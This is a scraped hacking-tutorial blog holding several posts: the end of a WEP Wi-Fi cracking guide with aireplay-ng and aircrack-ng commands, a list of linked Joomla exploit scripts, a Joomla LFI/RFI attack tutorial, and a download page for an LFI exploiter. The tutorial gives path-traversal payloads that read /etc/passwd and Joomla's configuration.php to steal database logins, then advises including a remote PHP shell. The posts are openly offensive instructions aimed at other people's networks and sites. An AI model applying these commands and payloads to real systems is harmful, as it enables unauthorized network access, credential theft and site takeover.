However packet dumping is quite a slow process,we need to speed up things to save our time.Open a new console after the first data packet has been stored and type the command in the new console and execute it<b style="border-width: 0px; margin: 0px; padding: 0px;"><u style="border-width: 0px; margin: 0px; padding: 0px;"></u></b></div>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;">airreplay-ng -1 0 –a [BSSID] –h [FAKED MAC ADDRESS] -e [Wi-Fi name (you wish to hack)] [Wi-Fi card name]</i></div>
</blockquote>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
As you type this command you will see that the data packets required for breaking the key will increase dramatically thereby saving you a lot of time.</div>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;"><b style="border-width: 0px; margin: 0px; padding: 0px;">REVEALING WEP KEY</b></i></div>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
Open another console once you have around 20,000 data packets and type the following command to reveal the WEP key.<b style="border-width: 0px; margin: 0px; padding: 0px;"><u style="border-width: 0px; margin: 0px; padding: 0px;"></u></b></div>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;">aircrack-ng –n 64 –b [BSSID] [Filename without the extension]  </i></div>
</blockquote>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
As you type this command, you will see that a key will appear in front of you in the given below format:</div>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;">XX:XX:XX:XX</i></div>
</blockquote>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
It is not necessary that the key should have exactly the same digits as shown above so please don't freak out if you see a 10 digit or 14 digit key. Also if the decryption fails, you can change the bit level of the decryption in the command:</div>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;">aircrack-ng –n [BIT LEVEL] –b [BSSID] [Filename without extension]</i></div>
</blockquote>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
Remember, the bit level should be a number of 2<sup style="border-width: 0px; margin: 0px; padding: 0px;">n</sup> where n:1,2,3,4…</div>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
e.g.</div>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;">aircrack-ng –n 32 –b [BSSID] [Filename without the extension]</i></div>
</blockquote>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
OR</div>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;">aircrack-ng –n 128 –b [BSSID] [Filename without the extension] etc. etc.</i></div>
</blockquote>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
Now just login using the WEP key you got.</div>
</span></div>

Backtrack Hacking Tutorials Tutorials WEP Wi-Fi Hack WiFi network with BackTrack

Wifi or Wireless Fidelity is the name of a popular wireless networking technology that uses radio waves to provide wireless high-speed ...

Joomla Hacking Tools: Hack Joomla with self-written tools by Valentin

4/30/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 13px; line-height: 18px;"><h3 class="post-title entry-title" style="color: #444444; font: bold 22px Arial,Tahoma,Helvetica,FreeSans,sans-serif; margin: 0px; position: relative;">Joomla Hacking Tools: Hack Joomla with self-written tools by Valentin</h3><div class="post-header" style="line-height: 1.6; margin: 0px 0px 1em;"><div class="post-header-line-1"></div></div><div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;"><span id="4213644759481558585"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYiwOeQaV9uiLc5PoAXLpTcTY4bHPTb2__6akZMPIgEUJeGWV7NzxUtRxGIN1DEnfLGYhpdoJE_qDwz7zItQUG671DPS6H1qb41ugjV_ka5nYB6-kAGoWiC2A9S0QKOV7aZtNwcdwDqDCV/s1600/Joomla+Hacking+Tools+Hack+Joomla+with+self-written+tools+by+Valentin.png" style="color: #3778cd; text-decoration: none;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5603894160709013122" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYiwOeQaV9uiLc5PoAXLpTcTY4bHPTb2__6akZMPIgEUJeGWV7NzxUtRxGIN1DEnfLGYhpdoJE_qDwz7zItQUG671DPS6H1qb41ugjV_ka5nYB6-kAGoWiC2A9S0QKOV7aZtNwcdwDqDCV/s400/Joomla+Hacking+Tools+Hack+Joomla+with+self-written+tools+by+Valentin.png" style="background-color: transparent; border: 1px solid transparent; cursor: pointer; display: block; height: 254px; margin: 0px auto 10px; padding: 8px; position: relative; text-align: center; width: 291px;" /></a><br />
<div style="text-align: center;"><b>Joomla Hacking Tools: Hack Joomla with self-written tools by <a href="http://www.xenuser.org/" style="color: #3778cd; text-decoration: none;">Valentin</a></b></div><div style="text-align: center;"><br />
</div>Manual testing is awesome, but automated checks are faster and maybe even more reliable. Here are some self-written tools you could use for your purposes:<br />
<br />
#1<br />
<b>Joomla QPersonel Exploit</b><br />
<a href="http://www.xenuser.org/exploits/joomla_com_qpersonel_sploit.py">http://www.xenuser.org/exploits/joomla_com_qpersonel_sploit.py</a><br />
<br />
#2<br />
<b>Automated Joomla SQL Injection Exploiter<br />
</b><a href="http://www.xenuser.org/exploits/joomla_sqli_sploiter.py">http://www.xenuser.org/exploits/joomla_sqli_sploiter.py</a><br />
<br />
#3<br />
<b>Joomla BF Quiz Exploit<br />
</b><a href="http://www.xenuser.org/exploits/joomla_com_bfquiz_sploit.py">http://www.xenuser.org/exploits/joomla_com_bfquiz_sploit.py</a><br />
<br />
#4<br />
<b>Column Fuzzer<br />
</b><a href="http://xenuser.org/tools/column_finder.py">http://xenuser.org/tools/column_finder.py</a><br />
<br />
#5<br />
<b>Simple SQL Injection Vulnerability Scanner<br />
</b><a href="http://www.xenuser.org/tools/sqli_scanner.py">http://www.xenuser.org/tools/sqli_scanner.py</a><br />
<br />
#6<br />
<b>Simple Log File Analyzer<br />
</b><a href="http://www.xenuser.org/tools/scan_log.py">http://www.xenuser.org/tools/scan_log.py</a><br />
<br />
#7<br />
<b>Simple Local File Inclusion Exploiter<br />
</b><a href="http://www.xenuser.org/tools/lfi_sploiter.py">http://www.xenuser.org/tools/lfi_sploiter.py</a><br />
<br />
These tools can help you to exploit vulnerabilities within Joomla or some extensions.<br />
<br />
<b>NOTE: </b>Read the help (included in those tools) for details.<br />
<br />
<div style="text-align: center;"><b>The Simple Log File Analyzer could be used for scanning your Apache log files. It shows if there are hack attempts.</b></div></span></div></span><br />
<div><br />
</div>-- <br />
<div dir="ltr">Regards,<br />
Hardeep Singh<br />
(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br />
</div>

Hacking Tutorials Joomla Joomla Hacking Tools: Hack Joomla with self-written tools by Valentin

Joomla Hacking Tools: Hack Joomla with self-written tools by Valentin Joomla Hacking Tools: Hack Joomla with self-written tools by Valenti...

Joomla LFI Local File Inclusions Attack | Joomla RFI Remote File Inclusions Attack

4/25/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 13px; line-height: 18px;"><h3 class="post-title entry-title" style="color: #444444; font: bold 22px Arial,Tahoma,Helvetica,FreeSans,sans-serif; margin: 0px; position: relative;">Joomla RFI Remote File Inclusions Attack | Joomla LFI Local File Inclusions Attack</h3><div class="post-header" style="line-height: 1.6; margin: 0px 0px 1em;"><div class="post-header-line-1"></div></div><div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;"><span id="997104527121951847"><div style="text-align: center;"><b>Joomla LFI Local File Inclusions Attack | Joomla RFI Remote File Inclusions Attack</b></div><div style="text-align: center;"><b><br />
</b></div><div style="text-align: center;"><b>By <a href="http://www.xenuser.org/" style="color: #3778cd; text-decoration: none;">Valentin</a></b></div><br />
<div style="text-align: center;"><b>Examples for Joomla local file inclusions</b></div><br />
<b>Local file inclusions </b>are very funny. You tell the website what you want to see. Awesome! You want to view the configuration file which contains the database login credentials? No problem.<div><br />
You want to view the /etc/passwd file if Joomla is hosted on a Linux box? You can do that.<br />
<br />
<b>Local file inclusions</b> are also a common problem in Joomla extensions. Many of them are vulnerable for this type of attack and some of them never get fixed. This may lead to a server hack, which is not funny any more - at least for the system administrator.<br />
<br />
A typical URL being vulnerable to LFI looks like this:<br />
index.php?option=com_blablubb&Item=2&view=guestbookpage<br />
<br />
Typically most of the vulnerable parameters are this one:<br />
- controller<br />
- view<br />
- layout<br />
- page<br />
<br />
To give you some proper understanding of typical affected<br />
URLs I provide you with some examples I found earlier this year:<br />
<br />
URL: index.php?option=com_jejob&view=some_value<br />
Vulnerable Parameter: view<br />
<br />
URL: index.php?option=com_jeajaxeventcalendar&view=some_value<br />
Vulnerable Parameter: view<br />
<br />
URL: index.php?option=com_jradio&controller=some_value<br />
Vulnerable Parameter: controller<br />
((I didn't find this one.))<br />
<br />
Now let's see how we can use this:<br />
index.php?option=com_jradio&controller=../../../../etc/passwd<br />
<br />
In this case we need to use the famous Nullbyte which helps us to bypass a restriction which is set in the responsible PHP script of the component.<br />
<br />
In the example above the controller parameter is used to include a file from the local hard disk. This file contains useful information for us.<br />
<br />
If you are not familiar with local file inclusions I recommend you look a tutorial up since I will not explain any details here.<br />
<br />
Now with the knowledge about a LFI vulnerability within a Joomla component, we can try to access the configuration.php of Joomla. This file contains very very interesting information.<br />
<br />
Since many LFIs also reveal PHP source code, we try this one:<br />
index.php?option=com_blabla&view=../../../configuration.php<br />
<br />
The source code of the file is shown and we receive the login data for the current database user. Now find a <b>PHPMyAdmin login</b> on the same server and try to login with this data.<br />
<br />
<b>You now have access to all Joomla tables and can basically do what you want.<br />
</b><br />
<div style="text-align: center;"><b>Examples for Joomla remote file inclusions</b></div><div style="text-align: center;"><br />
</div>Some Joomla components are also known for containing <b>remote file inclusion vulnerabilities.</b> RFIs allow us to include files from another server and to execure code on the target.<br />
<br />
A typical RFI URL looks like a LFI URL. In order to give you a better feeling of how to see a RFI vulner-ability within seconds, I show you some examples<br />
<br />
URL: index.php?option=com_sef&Itemid=&mosConfig.absolute.path=.<br />
Vulnerable Parameter: &mosConfig.absolute.path<br />
<br />
URL: index.php?option=com_jomestate&task=.<br />
Vulnerable Parameter: task<br />
<br />
When you found a RFI vulnerability, try to include your PHP shell which is hosted on another box. Once you uploaded it, you are able to browse all Joomla files and download them, change them, remove them...<br />
<br />
<b>No Joomla installation is safe when there is an exploited RFI.</b></div></span></div></span><br />
<div><br />
</div>-- <br />
<div dir="ltr">Regards,<br />
Hardeep Singh<br />
(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br />
</div>

Hacking Tutorials Joomla Joomla LFI Local File Inclusions Attack | Joomla RFI Remote File Inclusions Attack

Joomla RFI Remote File Inclusions Attack | Joomla LFI Local File Inclusions Attack Joomla LFI Local File Inclusions Attack | Joomla RFI Remo...

Local File Inclusion Exploiter Version 1.2 Download Free

4/06/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"></span><br />
<div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><a href="http://www.xenuser.org/wp-content/uploads/2010/11/lfi_sploiter-1_0-screenshot-287x300.png" style="color: #3778cd; text-decoration: none;"><img alt="Local File Inclusion Exploiter" border="0" height="640" src="http://www.xenuser.org/wp-content/uploads/2010/11/lfi_sploiter-1_0-screenshot-287x300.png" style="background-color: transparent; border: 1px solid transparent; display: block; height: 300px; margin: 0px auto 10px; padding: 8px; position: relative; text-align: center; width: 287px;" title="Local File Inclusion Exploiter" width="612" /></a></span></span><br />
<div style="text-align: center;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b>Local File Inclusion Exploiter Version 1.2 Download Free by Valentin</b></span></span></div>
<div style="text-align: center;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><br /></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b>Description </b></span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">The Simple Local File Inclusion Exploiter helps you to exploit LFI vulnerabilities. After you found one, simply pass the URL of the affected website and the vulnerable parameter to this tool. You can also use this tool to scan a parameter of an ULR for a LFI vulnerability.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><br /></span></span>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b>Usage<br />
</b>./lfi_sploiter.py –exploit-url= –vulnerable-parameter=</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><br /></span></span>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b>Usage example<br />
</b>./lfi_sploiter.py –exploit-url=<a href="http://www.example.com/page.php?file=main">http://www.example.com/page.php?file=main</a> –vulnerable-parameter=file</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><br /></span></span>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b>Usage notes<br />
</b>- Always use http://….</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- When you pass a vulnerable parameter, this tool assumes that it is really vulnerable.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- If you do not know if a parameter is vulnerable, simply pass it to this script and let the scanner have a look.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Only use one vulnerable parameter at once.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- This tool does not work with SEO URLs, such as <a href="http://www.example.com/news-about-the-internet/">http://www.example.com/news-about-the-internet/</a>.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- If you only have a SEO URL, try to find out the real URL which contents parameters.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><br /></span></span>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b>Feature list<br />
</b>- Provides a random user agent for the connection.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Checks if a connection to the target can be established.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Tries catch most errors with error handling.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Contains a LFI scanner (only scans one parameter at once).</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Finds out how a LFI vulnerability can be exploited (e.g. directory depth).</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Supports nullbytes!</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Exploit features: Dumps a list of interesting files to your hard disk.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Supports common *nix targets, but no Windows systems.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><br /></span></span>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b>Known issues<br />
</b>- I know there is more about LFI than it is covered in this tool. But this is the first release,</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">and more features will be implemented in future versions.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- This tool is only able to handle "simple" LFI vulnerabilities, but not complex ones. For example: Some LFI vulnerabilities consist of two URL parameters or require to find a way around filters. In those cases, this tool unfortunately does not work.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Like most other LFI exploiter / scanner, this tool here also has problems with handling certain server responses. So this tool does not work with every website.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><br /></span></span>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b>Some notes<br />
</b>- Tested with Python 2.6.5.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Modify, distribute, share and copy the code in any way you like!</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Please note that this tool was created for educational purposes only.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Do not use this tool in an illegal way. Know and respect your local laws.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Only use this tool for legal purposes, such as pentesting your own website</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- I am not responsible if you cause any damage or break the law.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Power to teh c0ws!</span></span></div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b><br />
</b></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b>All are Python scripts</b></span></span><br />
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b><br />
</b></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><a href="http://www.xenuser.org/tools/lfi_sploiter.py" style="color: #3778cd; text-decoration: none;"><b>Download Version 1.2</b></a></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b><br />
</b></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><a href="http://www.xenuser.org/tools/lfi_sploiter-1_1.py" style="color: #3778cd; text-decoration: none;"><b>Download Version 1.1</b></a></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b><br />
</b></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b style="color: #3778cd; text-decoration: none;"><a href="http://www.xenuser.org/tools/lfi_sploiter-1_0.py" style="color: #3778cd; text-decoration: none;">Download Version 1.0</a></b></span></span></div>
</div>
</div>
</div>

Hacking Tools Hacking Tutorials LFI Tutorials Local File Inclusion Exploiter Version 1.2 Download Free

Local File Inclusion Exploiter Version 1.2 Download Free by Valentin Description The Simple Local File Inclusion Exploiter helps ...